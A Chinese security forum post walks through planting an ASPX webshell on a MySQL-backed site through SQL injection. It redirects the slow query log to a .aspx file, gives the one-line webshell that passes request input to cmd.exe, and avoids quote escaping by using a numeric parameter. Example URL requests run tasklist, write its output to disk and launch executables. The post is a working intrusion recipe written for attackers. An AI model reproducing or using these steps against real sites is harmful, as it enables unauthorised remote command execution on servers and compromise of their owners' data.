安全矩阵

 找回密码
 立即注册
搜索
查看: 895|回复: 0

.NET下规避双引号实现MySQL写入Shell

[复制链接]

252

主题

252

帖子

1307

积分

金牌会员

Rank: 6Rank: 6

积分
1307
发表于 2022-10-14 23:30:43 | 显示全部楼层 |阅读模式
原文链接:.NET下规避双引号实现MySQL写入Shell


0x01 背景
.NET安全矩阵群有位师傅私聊说明遇到Mysql写ASPX一句话木马总报错的问题,经过一连串的测试发现只要代码里出现双引号就会像PHP一样自动转义成\",本文也是记录解决这个问题的大致过程
编辑
1.1 应用场景
站点是基于mysql+aspx架构设计,root账户写.net一句话木马报错问题,已知的前置条件是Mysql > 5.6.34,因为较高版本的Mysql有secure_file_priv,所以不能通过outfile写shell,只能用写log日志的方式尝试拿shell,定向写入日志文件SQL如下
  1. <code>set global slow_query_log = 1;</code><code>
  2. set global slow_query_log_file='d:/logshell.aspx';</code>
复制代码


开启后通过URL请求注入点写入这段 <%Shell("cmd.exe /c " & System.Web.HttpContext.Current.Request("content"))%> 会报错,原因在于这个aspx站对双引号做了转义处理,这样就变成了 \"cmd.exe/c \",导致无法正常写入
编辑
遇到这个对单引号、双引号做转义的场景时,可以用类似php里参数传递数字即可,这里改成 System.Web.HttpContext.Current.Request(1),如果要看回显内容需要曲线将结果写入站点路径下的文本里,所以传递的payload如下,成功将tasklist写入到2.txt文件里
  1. <code class="hljs">/logshell.aspx?1=cmd.exe%20/c%20tasklist%20>%20c:\\windows\\temp\\2.txt</code>
复制代码


编辑
写这里需要注意一点,直接请求logshell.aspx时会抛出Pathname错误,不用慌只需传递参数1即可,例如下图成功将tasklist写入到2.txt文件里
编辑
编辑
如果不想回显,可直接请求/logshell.aspx?1=c:\windows\system32\calc.exe运行可执行文件
编辑
这样就实现了规避单双引号字符,成功利用Mysql写入aspx一句话木马,最后看到师傅完成任务,我也特别高兴,师傅还要写个完整版的文章投稿到知识星球里,非常欢迎。工具已打包在星球,感兴趣的师傅可以自行研究测试。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 10:31 , Processed in 0.013334 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表